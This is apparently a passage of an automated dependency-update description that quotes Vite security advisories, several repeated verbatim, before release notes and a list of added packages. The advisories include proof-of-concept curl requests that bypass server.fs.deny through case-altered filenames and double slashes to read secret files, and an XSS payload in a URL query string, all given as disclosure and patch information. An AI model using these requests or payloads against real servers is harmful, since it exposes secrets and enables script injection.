By requesting raw filesystem paths using augmented casing, the matcher derived from config.server.fs.deny fails to block access to sensitive files.

PoC

Setup

  1. Created vanilla Vite project using npm create vite@latest on a Standard Azure hosted Windows 10 instance.
  2. Created dummy secret files, e.g. custom.secret and production.pem
  3. Populated vite.config.js with
export default { server: { fs: { deny: ['.env', '.env.*', '*.{crt,pem}', 'custom.secret'] } } }

Reproduction

  1. curl -s http://20.12.242.81:5173/@fs//
    • Descriptive error page reveals absolute filesystem path to project root
  2. curl -s http://20.12.242.81:5173/@fs/C:/Users/darbonzo/Desktop/vite-project/vite.config.js
    • Discoverable configuration file reveals locations of secrets
  3. curl -s http://20.12.242.81:5173/@fs/C:/Users/darbonzo/Desktop/vite-project/custom.sEcReT
    • Secrets are directly accessible using case-augmented version of filename

Proof
Screenshot 2024-01-19 022736

Impact

Who

  • Users with exposed dev servers on environments with case-insensitive filesystems

What

  • Files protected by server.fs.deny are both discoverable, and accessible

๐Ÿšจ Vite dev server option `server.fs.deny` can be bypassed when hosted on case-insensitive filesystem

Summary

Vite dev server option server.fs.deny can be bypassed on case-insensitive file systems using case-augmented versions of filenames. Notably this affects servers hosted on Windows.

This bypass is similar to https://nvd.nist.gov/vuln/detail/CVE-2023-34092 -- with surface area reduced to hosts having case-insensitive filesystems.

Patches

Fixed in vite@5.0.12, vite@4.5.2, vite@3.2.8, vite@2.9.17

Details

Since picomatch defaults to case-sensitive glob matching, but the file server doesn't discriminate; a blacklist bypass is possible.

See picomatch usage, where nocase is defaulted to false: https://github.com/vitejs/vite/blob/v5.1.0-beta.1/packages/vite/src/node/server/index.ts#L632

By requesting raw filesystem paths using augmented casing, the matcher derived from config.server.fs.deny fails to block access to sensitive files.

PoC

Setup

  1. Created vanilla Vite project using npm create vite@latest on a Standard Azure hosted Windows 10 instance.
  2. Created dummy secret files, e.g. custom.secret and production.pem
  3. Populated vite.config.js with
export default { server: { fs: { deny: ['.env', '.env.*', '*.{crt,pem}', 'custom.secret'] } } }

Reproduction

  1. curl -s http://20.12.242.81:5173/@fs//
    • Descriptive error page reveals absolute filesystem path to project root
  2. curl -s http://20.12.242.81:5173/@fs/C:/Users/darbonzo/Desktop/vite-project/vite.config.js
    • Discoverable configuration file reveals locations of secrets
  3. curl -s http://20.12.242.81:5173/@fs/C:/Users/darbonzo/Desktop/vite-project/custom.sEcReT
    • Secrets are directly accessible using case-augmented version of filename

Proof
Screenshot 2024-01-19 022736

Impact

Who

  • Users with exposed dev servers on environments with case-insensitive filesystems

What

  • Files protected by server.fs.deny are both discoverable, and accessible

๐Ÿšจ Vite XSS vulnerability in `server.transformIndexHtml` via URL payload

Summary

When Vite's HTML transformation is invoked manually via server.transformIndexHtml, the original request URL is passed in unmodified, and the html being transformed contains inline module scripts (<script type="module">...</script>), it is possible to inject arbitrary HTML into the transformed output by supplying a malicious URL query string to server.transformIndexHtml.

Impact

Only apps using appType: 'custom' and using the default Vite HTML middleware are affected. The HTML entry must also contain an inline script. The attack requires a user to click on a malicious URL while running the dev server. Restricted files aren't exposed to the attacker.

Patches

Fixed in vite@5.0.5, vite@4.5.1, vite@4.4.12

Details

Suppose index.html contains an inline module script:

<script type="module">
  // Inline script
</script>

This script is transformed into a proxy script like

<script type="module" src="/index.html?html-proxy&index=0.js"></script>

due to Vite's HTML plugin:

if (isModule) {
inlineModuleIndex++
if (url && !isExcludedUrl(url) && !isPublicFile) {
// <script type="module" src="..."/>
// add it as an import
js += `\nimport ${JSON.stringify(url)}`
shouldRemove = true
} else if (node.childNodes.length) {
const scriptNode =
node.childNodes.pop() as DefaultTreeAdapterMap['textNode']
const contents = scriptNode.value
// <script type="module">...</script>
const filePath = id.replace(normalizePath(config.root), '')
addToHTMLProxyCache(config, filePath, inlineModuleIndex, {
code: contents,
})
js += `\nimport "${id}?html-proxy&index=${inlineModuleIndex}.js"`
shouldRemove = true
}
everyScriptIsAsync &&= isAsync
someScriptsAreAsync ||= isAsync
someScriptsAreDefer ||= !isAsync
} else if (url && !isPublicFile) {
if (!isExcludedUrl(url)) {
config.logger.warn(
`<script src="${url}"> in "${publicPath}" can't be bundled without type="module" attribute`,
)
}
} else if (node.childNodes.length) {
const scriptNode =
node.childNodes.pop() as DefaultTreeAdapterMap['textNode']
scriptUrls.push(
...extractImportExpressionFromClassicScript(scriptNode),
)
}
}

When appType: 'spa' | 'mpa', Vite serves HTML itself, and htmlFallbackMiddleware rewrites req.url to the canonical path of index.html,

if (fs.existsSync(filePath)) {
const newUrl = url + 'index.html'
debug?.(`Rewriting ${req.method} ${req.url} to ${newUrl}`)
req.url = newUrl

so the url passed to server.transformIndexHtml is /index.html.

However, if appType: 'custom', HTML is served manually, and if server.transformIndexHtml is called with the unmodified request URL (as the SSR docs suggest), then the path of the transformed html-proxy script varies with the request URL. For example, a request with path / produces

<script type="module" src="/@id/__x00__/index.html?html-proxy&index=0.js"></script>

It is possible to abuse this behavior by crafting a request URL to contain a malicious payload like

"></script><script>alert('boom')</script>

so a request to http://localhost:5173/?%22%3E%3C/script%3E%3Cscript%3Ealert(%27boom%27)%3C/script%3E produces HTML output like

<script type="module" src="/@id/__x00__/?"></script><script>alert("boom")</script>?html-proxy&index=0.js"></script>

which demonstrates XSS.

PoC

Detailed Impact

This will probably predominantly affect development-mode SSR, where vite.transformHtml is called using the original req.url, per the docs:

vite/docs/guide/ssr.md

Lines 114 to 126 in 7fd7c6c

const url = req.originalUrl
try {
// 1. Read index.html
let template = fs.readFileSync(
path.resolve(__dirname, 'index.html'),
'utf-8',
)
// 2. Apply Vite HTML transforms. This injects the Vite HMR client,
// and also applies HTML transforms from Vite plugins, e.g. global
// preambles from @vitejs/plugin-react
template = await vite.transformIndexHtml(url, template)

However, since this vulnerability affects server.transformIndexHtml, the scope of impact may be higher to also include other ad-hoc calls to server.transformIndexHtml from outside of Vite's own codebase.

My best guess at bisecting which versions are vulnerable involves the following test script

import fs from 'node:fs/promises';
import * as vite from 'vite';

const html = `
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
  </head>
  <body>
    <script type="module">
      // Inline script
    </script>
  </body>
</html>
`;
const server = await vite.createServer({ appType: 'custom' });
const transformed = await server.transformIndexHtml('/?%22%3E%3C/script%3E%3Cscript%3Ealert(%27boom%27)%3C/script%3E', html);
console.log(transformed);
await server.close();

and using it I was able to narrow down to #13581. If this is correct, then vulnerable Vite versions are 4.4.0-beta.2 and higher (which includes 4.4.0).

๐Ÿšจ Vite XSS vulnerability in `server.transformIndexHtml` via URL payload

Summary

When Vite's HTML transformation is invoked manually via server.transformIndexHtml, the original request URL is passed in unmodified, and the html being transformed contains inline module scripts (<script type="module">...</script>), it is possible to inject arbitrary HTML into the transformed output by supplying a malicious URL query string to server.transformIndexHtml.

Impact

Only apps using appType: 'custom' and using the default Vite HTML middleware are affected. The HTML entry must also contain an inline script. The attack requires a user to click on a malicious URL while running the dev server. Restricted files aren't exposed to the attacker.

Patches

Fixed in vite@5.0.5, vite@4.5.1, vite@4.4.12

Details

Suppose index.html contains an inline module script:

<script type="module">
  // Inline script
</script>

This script is transformed into a proxy script like

<script type="module" src="/index.html?html-proxy&index=0.js"></script>

due to Vite's HTML plugin:

if (isModule) {
inlineModuleIndex++
if (url && !isExcludedUrl(url) && !isPublicFile) {
// <script type="module" src="..."/>
// add it as an import
js += `\nimport ${JSON.stringify(url)}`
shouldRemove = true
} else if (node.childNodes.length) {
const scriptNode =
node.childNodes.pop() as DefaultTreeAdapterMap['textNode']
const contents = scriptNode.value
// <script type="module">...</script>
const filePath = id.replace(normalizePath(config.root), '')
addToHTMLProxyCache(config, filePath, inlineModuleIndex, {
code: contents,
})
js += `\nimport "${id}?html-proxy&index=${inlineModuleIndex}.js"`
shouldRemove = true
}
everyScriptIsAsync &&= isAsync
someScriptsAreAsync ||= isAsync
someScriptsAreDefer ||= !isAsync
} else if (url && !isPublicFile) {
if (!isExcludedUrl(url)) {
config.logger.warn(
`<script src="${url}"> in "${publicPath}" can't be bundled without type="module" attribute`,
)
}
} else if (node.childNodes.length) {
const scriptNode =
node.childNodes.pop() as DefaultTreeAdapterMap['textNode']
scriptUrls.push(
...extractImportExpressionFromClassicScript(scriptNode),
)
}
}

When appType: 'spa' | 'mpa', Vite serves HTML itself, and htmlFallbackMiddleware rewrites req.url to the canonical path of index.html,

if (fs.existsSync(filePath)) {
const newUrl = url + 'index.html'
debug?.(`Rewriting ${req.method} ${req.url} to ${newUrl}`)
req.url = newUrl

so the url passed to server.transformIndexHtml is /index.html.

However, if appType: 'custom', HTML is served manually, and if server.transformIndexHtml is called with the unmodified request URL (as the SSR docs suggest), then the path of the transformed html-proxy script varies with the request URL. For example, a request with path / produces

<script type="module" src="/@id/__x00__/index.html?html-proxy&index=0.js"></script>

It is possible to abuse this behavior by crafting a request URL to contain a malicious payload like

"></script><script>alert('boom')</script>

so a request to http://localhost:5173/?%22%3E%3C/script%3E%3Cscript%3Ealert(%27boom%27)%3C/script%3E produces HTML output like

<script type="module" src="/@id/__x00__/?"></script><script>alert("boom")</script>?html-proxy&index=0.js"></script>

which demonstrates XSS.

PoC

Detailed Impact

This will probably predominantly affect development-mode SSR, where vite.transformHtml is called using the original req.url, per the docs:

vite/docs/guide/ssr.md

Lines 114 to 126 in 7fd7c6c

const url = req.originalUrl
try {
// 1. Read index.html
let template = fs.readFileSync(
path.resolve(__dirname, 'index.html'),
'utf-8',
)
// 2. Apply Vite HTML transforms. This injects the Vite HMR client,
// and also applies HTML transforms from Vite plugins, e.g. global
// preambles from @vitejs/plugin-react
template = await vite.transformIndexHtml(url, template)

However, since this vulnerability affects server.transformIndexHtml, the scope of impact may be higher to also include other ad-hoc calls to server.transformIndexHtml from outside of Vite's own codebase.

My best guess at bisecting which versions are vulnerable involves the following test script

import fs from 'node:fs/promises';
import * as vite from 'vite';

const html = `
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
  </head>
  <body>
    <script type="module">
      // Inline script
    </script>
  </body>
</html>
`;
const server = await vite.createServer({ appType: 'custom' });
const transformed = await server.transformIndexHtml('/?%22%3E%3C/script%3E%3Cscript%3Ealert(%27boom%27)%3C/script%3E', html);
console.log(transformed);
await server.close();

and using it I was able to narrow down to #13581. If this is correct, then vulnerable Vite versions are 4.4.0-beta.2 and higher (which includes 4.4.0).

๐Ÿšจ Vite XSS vulnerability in `server.transformIndexHtml` via URL payload

Summary

When Vite's HTML transformation is invoked manually via server.transformIndexHtml, the original request URL is passed in unmodified, and the html being transformed contains inline module scripts (<script type="module">...</script>), it is possible to inject arbitrary HTML into the transformed output by supplying a malicious URL query string to server.transformIndexHtml.

Impact

Only apps using appType: 'custom' and using the default Vite HTML middleware are affected. The HTML entry must also contain an inline script. The attack requires a user to click on a malicious URL while running the dev server. Restricted files aren't exposed to the attacker.

Patches

Fixed in vite@5.0.5, vite@4.5.1, vite@4.4.12

Details

Suppose index.html contains an inline module script:

<script type="module">
  // Inline script
</script>

This script is transformed into a proxy script like

<script type="module" src="/index.html?html-proxy&index=0.js"></script>

due to Vite's HTML plugin:

if (isModule) {
inlineModuleIndex++
if (url && !isExcludedUrl(url) && !isPublicFile) {
// <script type="module" src="..."/>
// add it as an import
js += `\nimport ${JSON.stringify(url)}`
shouldRemove = true
} else if (node.childNodes.length) {
const scriptNode =
node.childNodes.pop() as DefaultTreeAdapterMap['textNode']
const contents = scriptNode.value
// <script type="module">...</script>
const filePath = id.replace(normalizePath(config.root), '')
addToHTMLProxyCache(config, filePath, inlineModuleIndex, {
code: contents,
})
js += `\nimport "${id}?html-proxy&index=${inlineModuleIndex}.js"`
shouldRemove = true
}
everyScriptIsAsync &&= isAsync
someScriptsAreAsync ||= isAsync
someScriptsAreDefer ||= !isAsync
} else if (url && !isPublicFile) {
if (!isExcludedUrl(url)) {
config.logger.warn(
`<script src="${url}"> in "${publicPath}" can't be bundled without type="module" attribute`,
)
}
} else if (node.childNodes.length) {
const scriptNode =
node.childNodes.pop() as DefaultTreeAdapterMap['textNode']
scriptUrls.push(
...extractImportExpressionFromClassicScript(scriptNode),
)
}
}

When appType: 'spa' | 'mpa', Vite serves HTML itself, and htmlFallbackMiddleware rewrites req.url to the canonical path of index.html,

if (fs.existsSync(filePath)) {
const newUrl = url + 'index.html'
debug?.(`Rewriting ${req.method} ${req.url} to ${newUrl}`)
req.url = newUrl

so the url passed to server.transformIndexHtml is /index.html.

However, if appType: 'custom', HTML is served manually, and if server.transformIndexHtml is called with the unmodified request URL (as the SSR docs suggest), then the path of the transformed html-proxy script varies with the request URL. For example, a request with path / produces

<script type="module" src="/@id/__x00__/index.html?html-proxy&index=0.js"></script>

It is possible to abuse this behavior by crafting a request URL to contain a malicious payload like

"></script><script>alert('boom')</script>

so a request to http://localhost:5173/?%22%3E%3C/script%3E%3Cscript%3Ealert(%27boom%27)%3C/script%3E produces HTML output like

<script type="module" src="/@id/__x00__/?"></script><script>alert("boom")</script>?html-proxy&index=0.js"></script>

which demonstrates XSS.

PoC

Detailed Impact

This will probably predominantly affect development-mode SSR, where vite.transformHtml is called using the original req.url, per the docs:

vite/docs/guide/ssr.md

Lines 114 to 126 in 7fd7c6c

const url = req.originalUrl
try {
// 1. Read index.html
let template = fs.readFileSync(
path.resolve(__dirname, 'index.html'),
'utf-8',
)
// 2. Apply Vite HTML transforms. This injects the Vite HMR client,
// and also applies HTML transforms from Vite plugins, e.g. global
// preambles from @vitejs/plugin-react
template = await vite.transformIndexHtml(url, template)

However, since this vulnerability affects server.transformIndexHtml, the scope of impact may be higher to also include other ad-hoc calls to server.transformIndexHtml from outside of Vite's own codebase.

My best guess at bisecting which versions are vulnerable involves the following test script

import fs from 'node:fs/promises';
import * as vite from 'vite';

const html = `
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
  </head>
  <body>
    <script type="module">
      // Inline script
    </script>
  </body>
</html>
`;
const server = await vite.createServer({ appType: 'custom' });
const transformed = await server.transformIndexHtml('/?%22%3E%3C/script%3E%3Cscript%3Ealert(%27boom%27)%3C/script%3E', html);
console.log(transformed);
await server.close();

and using it I was able to narrow down to #13581. If this is correct, then vulnerable Vite versions are 4.4.0-beta.2 and higher (which includes 4.4.0).

๐Ÿšจ Vite Server Options (server.fs.deny) can be bypassed using double forward-slash (//)

The issue involves a security vulnerability in Vite where the server options can be bypassed using a double forward slash (//). This vulnerability poses a potential security risk as it can allow unauthorized access to sensitive directories and files.

Steps to Fix. Update Vite: Ensure that you are using the latest version of Vite. Security issues like this are often fixed in newer releases.\n2. Secure the server configuration: In your vite.config.js file, review and update the server configuration options to restrict access to unauthorized requests or directories.

Impact

Only users explicitly exposing the Vite dev server to the network (using --host or the server.host config option) are affected and only files in the immediate Vite project root folder could be exposed.\n\n### Patches\nFixed in vite@4.3.9, vite@4.2.3, vite@4.1.5, vite@4.0.5 and in the latest minors of the previous two majors, vite@3.2.7 and vite@2.9.16.

Details

Vite serves the application with under the root-path of the project while running on the dev mode. By default, Vite uses the server option fs.deny to protect sensitive files. But using a simple double forward-slash, we can bypass this restriction. \n\n### PoC\n1. Create a new latest project of Vite using any package manager. (here I'm using react and vue templates and pnpm for testing)\n2. Serve the application on dev mode using pnpm run dev.\n3. Directly access the file via url using double forward-slash (//) (e.g: //.env, //.env.local)\n4. The server option fs.deny was successfully bypassed.

Proof Images: proof-1\nproof-2

๐Ÿšจ Vite Server Options (server.fs.deny) can be bypassed using double forward-slash (//)

The issue involves a security vulnerability in Vite where the server options can be bypassed using a double forward slash (//). This vulnerability poses a potential security risk as it can allow unauthorized access to sensitive directories and files.

Steps to Fix. Update Vite: Ensure that you are using the latest version of Vite. Security issues like this are often fixed in newer releases.\n2. Secure the server configuration: In your vite.config.js file, review and update the server configuration options to restrict access to unauthorized requests or directories.

Impact

Only users explicitly exposing the Vite dev server to the network (using --host or the server.host config option) are affected and only files in the immediate Vite project root folder could be exposed.\n\n### Patches\nFixed in vite@4.3.9, vite@4.2.3, vite@4.1.5, vite@4.0.5 and in the latest minors of the previous two majors, vite@3.2.7 and vite@2.9.16.

Details

Vite serves the application with under the root-path of the project while running on the dev mode. By default, Vite uses the server option fs.deny to protect sensitive files. But using a simple double forward-slash, we can bypass this restriction. \n\n### PoC\n1. Create a new latest project of Vite using any package manager. (here I'm using react and vue templates and pnpm for testing)\n2. Serve the application on dev mode using pnpm run dev.\n3. Directly access the file via url using double forward-slash (//) (e.g: //.env, //.env.local)\n4. The server option fs.deny was successfully bypassed.

Proof Images: proof-1\nproof-2

๐Ÿšจ Vite Server Options (server.fs.deny) can be bypassed using double forward-slash (//)

The issue involves a security vulnerability in Vite where the server options can be bypassed using a double forward slash (//). This vulnerability poses a potential security risk as it can allow unauthorized access to sensitive directories and files.

Steps to Fix. Update Vite: Ensure that you are using the latest version of Vite. Security issues like this are often fixed in newer releases.\n2. Secure the server configuration: In your vite.config.js file, review and update the server configuration options to restrict access to unauthorized requests or directories.

Impact

Only users explicitly exposing the Vite dev server to the network (using --host or the server.host config option) are affected and only files in the immediate Vite project root folder could be exposed.\n\n### Patches\nFixed in vite@4.3.9, vite@4.2.3, vite@4.1.5, vite@4.0.5 and in the latest minors of the previous two majors, vite@3.2.7 and vite@2.9.16.

Details

Vite serves the application with under the root-path of the project while running on the dev mode. By default, Vite uses the server option fs.deny to protect sensitive files. But using a simple double forward-slash, we can bypass this restriction. \n\n### PoC\n1. Create a new latest project of Vite using any package manager. (here I'm using react and vue templates and pnpm for testing)\n2. Serve the application on dev mode using pnpm run dev.\n3. Directly access the file via url using double forward-slash (//) (e.g: //.env, //.env.local)\n4. The server option fs.deny was successfully bypassed.

Proof Images: proof-1\nproof-2

๐Ÿšจ Vite Server Options (server.fs.deny) can be bypassed using double forward-slash (//)

The issue involves a security vulnerability in Vite where the server options can be bypassed using a double forward slash (//). This vulnerability poses a potential security risk as it can allow unauthorized access to sensitive directories and files.

Steps to Fix. Update Vite: Ensure that you are using the latest version of Vite. Security issues like this are often fixed in newer releases.\n2. Secure the server configuration: In your vite.config.js file, review and update the server configuration options to restrict access to unauthorized requests or directories.

Impact

Only users explicitly exposing the Vite dev server to the network (using --host or the server.host config option) are affected and only files in the immediate Vite project root folder could be exposed.\n\n### Patches\nFixed in vite@4.3.9, vite@4.2.3, vite@4.1.5, vite@4.0.5 and in the latest minors of the previous two majors, vite@3.2.7 and vite@2.9.16.

Details

Vite serves the application with under the root-path of the project while running on the dev mode. By default, Vite uses the server option fs.deny to protect sensitive files. But using a simple double forward-slash, we can bypass this restriction. \n\n### PoC\n1. Create a new latest project of Vite using any package manager. (here I'm using react and vue templates and pnpm for testing)\n2. Serve the application on dev mode using pnpm run dev.\n3. Directly access the file via url using double forward-slash (//) (e.g: //.env, //.env.local)\n4. The server option fs.deny was successfully bypassed.

Proof Images: proof-1\nproof-2

๐Ÿšจ Vite Server Options (server.fs.deny) can be bypassed using double forward-slash (//)

The issue involves a security vulnerability in Vite where the server options can be bypassed using a double forward slash (//). This vulnerability poses a potential security risk as it can allow unauthorized access to sensitive directories and files.

Steps to Fix. Update Vite: Ensure that you are using the latest version of Vite. Security issues like this are often fixed in newer releases.\n2. Secure the server configuration: In your vite.config.js file, review and update the server configuration options to restrict access to unauthorized requests or directories.

Impact

Only users explicitly exposing the Vite dev server to the network (using --host or the server.host config option) are affected and only files in the immediate Vite project root folder could be exposed.\n\n### Patches\nFixed in vite@4.3.9, vite@4.2.3, vite@4.1.5, vite@4.0.5 and in the latest minors of the previous two majors, vite@3.2.7 and vite@2.9.16.

Details

Vite serves the application with under the root-path of the project while running on the dev mode. By default, Vite uses the server option fs.deny to protect sensitive files. But using a simple double forward-slash, we can bypass this restriction. \n\n### PoC\n1. Create a new latest project of Vite using any package manager. (here I'm using react and vue templates and pnpm for testing)\n2. Serve the application on dev mode using pnpm run dev.\n3. Directly access the file via url using double forward-slash (//) (e.g: //.env, //.env.local)\n4. The server option fs.deny was successfully bypassed.

Proof Images: proof-1\nproof-2

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by 6 commits:

โ†—๏ธ vitefu (indirect, 0.2.2 โ†’ 1.1.1) ยท Repo ยท Changelog

Release Notes

1.1.1

  • fix: ensure workspaceRoot option works on windows (#26)

1.1.0

  • Add workspaceRoot option to crawlFrameworkPkgs that enables crawling devDependencies of local workspace private packages (#23)

1.0.7

  • Allow Vite 7 peer dependency (#21)

1.0.6

  • Handle ssr.external: true Vite config when calling crawlFrameworkPkgs and isDepExternaled (#19)

NOTE: v1.0.5 was forgotten to release on GitHub. Here are its release notes:

  • Don't require package.json to exist for crawlFrameworkPkgs (#16)

1.0.5 (from changelog)

  • Don't require package.json to exist for crawlFrameworkPkgs (#16)

1.0.4

  • Allow Vite 6 peer dependency (remove beta support)

1.0.3

  • Allow Vite 6 beta peer dependency (experimental support)

NOTE: v1.0.1 and v1.0.2 are hot fixes for the types exports.

1.0.2 (from changelog)

  • Duplicate CJS types to correct ESM types export

1.0.1 (from changelog)

  • Fix ESM types export

1.0.0

The library is now v1! This release is mostly ceremonial as the API has been stable for a while without any plans to change it. As such, there are no breaking changes.

  • Remove top-level await to allow future compatibility to require ESM code
  • Export proper ESM and CJS types

0.2.5

  • Align findDepPkgJsonPath implementation with Vite
  • Allow Vite 5 peer dependency

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 32 commits:

โ†—๏ธ widest-line (indirect, 4.0.1 โ†’ 5.0.0) ยท Repo

Release Notes

5.0.0

Breaking

v4.0.1...v5.0.0

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 4 commits:

โ†—๏ธ yocto-queue (indirect, 0.1.0 โ†’ 1.2.1) ยท Repo

Release Notes

1.2.1

  • Do not ignore undefined values while draining (#13) ee91589

v1.2.0...v1.2.1

1.2.0


v1.1.1...v1.2.0

1.1.1

  • Fix Node.js 12 compatibility 90ab935

v1.1.0...v1.1.1

1.1.0

v1.0.0...v1.1.0

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 13 commits:

โ†—๏ธ zod (indirect, 3.19.1 โ†’ 3.25.76) ยท Repo ยท Changelog

Security Advisories ๐Ÿšจ

๐Ÿšจ Zod denial of service vulnerability

Zod version 3.22.2 allows an attacker to perform a denial of service while validating emails.

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by 5 commits:

๐Ÿ†• @โ€‹astrojs/internal-helpers (added, 0.7.4)

๐Ÿ†• @โ€‹babel/helper-globals (added, 7.28.0)

๐Ÿ†• @โ€‹babel/plugin-transform-react-jsx-self (added, 7.27.1)

๐Ÿ†• @โ€‹babel/plugin-transform-react-jsx-source (added, 7.27.1)

๐Ÿ†• @โ€‹capsizecss/unpack (added, 3.0.0)

๐Ÿ†• @โ€‹emnapi/runtime (added, 1.5.0)

๐Ÿ†• @โ€‹esbuild/aix-ppc64 (added, 0.25.10)

๐Ÿ†• @โ€‹esbuild/android-arm64 (added, 0.25.10)

๐Ÿ†• @โ€‹esbuild/android-x64 (added, 0.25.10)

๐Ÿ†• @โ€‹esbuild/darwin-arm64 (added, 0.25.10)

๐Ÿ†• @โ€‹esbuild/darwin-x64 (added, 0.25.10)

๐Ÿ†• @โ€‹esbuild/freebsd-arm64 (added, 0.25.10)

๐Ÿ†• @โ€‹esbuild/freebsd-x64 (added, 0.25.10)

๐Ÿ†• @โ€‹esbuild/linux-arm (added, 0.25.10)

๐Ÿ†• @โ€‹esbuild/linux-arm64 (added, 0.25.10)

๐Ÿ†• @โ€‹esbuild/linux-ia32 (added, 0.25.10)

๐Ÿ†• @โ€‹esbuild/linux-mips64el (added, 0.25.10)

๐Ÿ†• @โ€‹esbuild/linux-ppc64 (added, 0.25.10)

๐Ÿ†• @โ€‹esbuild/linux-riscv64 (added, 0.25.10)

๐Ÿ†• @โ€‹esbuild/linux-s390x (added, 0.25.10)

๐Ÿ†• @โ€‹esbuild/linux-x64 (added, 0.25.10)

๐Ÿ†• @โ€‹esbuild/netbsd-arm64 (added, 0.25.10)

๐Ÿ†• @โ€‹esbuild/netbsd-x64 (added, 0.25.10)

๐Ÿ†• @โ€‹esbuild/openbsd-arm64 (added, 0.25.10)

๐Ÿ†• @โ€‹esbuild/openbsd-x64 (added, 0.25.10)

๐Ÿ†• @โ€‹esbuild/openharmony-arm64 (added, 0.25.10)

๐Ÿ†• @โ€‹esbuild/sunos-x64 (added, 0.25.10)

๐Ÿ†• @โ€‹esbuild/win32-arm64 (added, 0.25.10)

๐Ÿ†• @โ€‹esbuild/win32-ia32 (added, 0.25.10)

๐Ÿ†• @โ€‹esbuild/win32-x64 (added, 0.25.10)

๐Ÿ†• @โ€‹img/colour (added, 1.0.0)

๐Ÿ†• @โ€‹img/sharp-darwin-arm64 (added, 0.34.4)

๐Ÿ†• @โ€‹img/sharp-darwin-x64 (added, 0.34.4)

๐Ÿ†• @โ€‹img/sharp-libvips-darwin-arm64 (added, 1.2.3)

๐Ÿ†• @โ€‹img/sharp-libvips-darwin-x64 (added, 1.2.3)

๐Ÿ†• @โ€‹img/sharp-libvips-linux-arm (added, 1.2.3)

๐Ÿ†• @โ€‹img/sharp-libvips-linux-arm64 (added, 1.2.3)

๐Ÿ†• @โ€‹img/sharp-libvips-linux-ppc64 (added, 1.2.3)

๐Ÿ†• @โ€‹img/sharp-libvips-linux-s390x (added, 1.2.3)

๐Ÿ†• @โ€‹img/sharp-libvips-linux-x64 (added, 1.2.3)

๐Ÿ†• @โ€‹img/sharp-libvips-linuxmusl-arm64 (added, 1.2.3)

๐Ÿ†• @โ€‹img/sharp-libvips-linuxmusl-x64 (added, 1.2.3)

๐Ÿ†• @โ€‹img/sharp-linux-arm (added, 0.34.4)

๐Ÿ†• @โ€‹img/sharp-linux-arm64 (added, 0.34.4)

๐Ÿ†• @โ€‹img/sharp-linux-ppc64 (added, 0.34.4)

๐Ÿ†• @โ€‹img/sharp-linux-s390x (added, 0.34.4)

๐Ÿ†• @โ€‹img/sharp-linux-x64 (added, 0.34.4)

๐Ÿ†• @โ€‹img/sharp-linuxmusl-arm64 (added, 0.34.4)

๐Ÿ†• @โ€‹img/sharp-linuxmusl-x64 (added, 0.34.4)

๐Ÿ†• @โ€‹img/sharp-wasm32 (added, 0.34.4)

๐Ÿ†• @โ€‹img/sharp-win32-arm64 (added, 0.34.4)

๐Ÿ†• @โ€‹img/sharp-win32-ia32 (added, 0.34.4)

๐Ÿ†• @โ€‹img/sharp-win32-x64 (added, 0.34.4)

๐Ÿ†• @โ€‹jridgewell/remapping (added, 2.3.5)

๐Ÿ†• @โ€‹oslojs/encoding (added, 1.1.0)

๐Ÿ†• @โ€‹rolldown/pluginutils (added, 1.0.0-beta.27)

๐Ÿ†• @โ€‹rollup/pluginutils (added, 5.3.0)

๐Ÿ†• @โ€‹rollup/rollup-android-arm-eabi (added, 4.52.4)

๐Ÿ†• @โ€‹rollup/rollup-android-arm64 (added, 4.52.4)

๐Ÿ†• @โ€‹rollup/rollup-darwin-arm64 (added, 4.52.4)

๐Ÿ†• @โ€‹rollup/rollup-darwin-x64 (added, 4.52.4)

๐Ÿ†• @โ€‹rollup/rollup-freebsd-arm64 (added, 4.52.4)

๐Ÿ†• @โ€‹rollup/rollup-freebsd-x64 (added, 4.52.4)

๐Ÿ†• @โ€‹rollup/rollup-linux-arm-gnueabihf (added, 4.52.4)

๐Ÿ†• @โ€‹rollup/rollup-linux-arm-musleabihf (added, 4.52.4)

๐Ÿ†• @โ€‹rollup/rollup-linux-arm64-gnu (added, 4.52.4)

๐Ÿ†• @โ€‹rollup/rollup-linux-arm64-musl (added, 4.52.4)

๐Ÿ†• @โ€‹rollup/rollup-linux-loong64-gnu (added, 4.52.4)

๐Ÿ†• @โ€‹rollup/rollup-linux-ppc64-gnu (added, 4.52.4)

๐Ÿ†• @โ€‹rollup/rollup-linux-riscv64-gnu (added, 4.52.4)

๐Ÿ†• @โ€‹rollup/rollup-linux-riscv64-musl (added, 4.52.4)

๐Ÿ†• @โ€‹rollup/rollup-linux-s390x-gnu (added, 4.52.4)

๐Ÿ†• @โ€‹rollup/rollup-linux-x64-gnu (added, 4.52.4)

๐Ÿ†• @โ€‹rollup/rollup-linux-x64-musl (added, 4.52.4)

๐Ÿ†• @โ€‹rollup/rollup-openharmony-arm64 (added, 4.52.4)

๐Ÿ†• @โ€‹rollup/rollup-win32-arm64-msvc (added, 4.52.4)

๐Ÿ†• @โ€‹rollup/rollup-win32-ia32-msvc (added, 4.52.4)

๐Ÿ†• @โ€‹rollup/rollup-win32-x64-gnu (added, 4.52.4)

๐Ÿ†• @โ€‹rollup/rollup-win32-x64-msvc (added, 4.52.4)

๐Ÿ†• @โ€‹shikijs/core (added, 3.13.0)

๐Ÿ†• @โ€‹shikijs/engine-javascript (added, 3.13.0)

๐Ÿ†• @โ€‹shikijs/engine-oniguruma (added, 3.13.0)

๐Ÿ†• @โ€‹shikijs/langs (added, 3.13.0)

๐Ÿ†• @โ€‹shikijs/themes (added, 3.13.0)

๐Ÿ†• @โ€‹shikijs/types (added, 3.13.0)

๐Ÿ†• @โ€‹shikijs/vscode-textmate (added, 10.0.2)

๐Ÿ†• @โ€‹swc/helpers (added, 0.5.17)

๐Ÿ†• @โ€‹types/fontkit (added, 2.0.8)

๐Ÿ†• @โ€‹ungap/structured-clone (added, 1.3.0)

๐Ÿ†• @โ€‹vitejs/plugin-react (added, 4.7.0)

๐Ÿ†• aria-query (added, 5.3.2)

๐Ÿ†• axobject-query (added, 4.1.0)

๐Ÿ†• base-64 (added, 1.0.0)

๐Ÿ†• baseline-browser-mapping (added, 2.8.16)

๐Ÿ†• brotli (added, 1.3.3)

๐Ÿ†• crossws (added, 0.3.5)

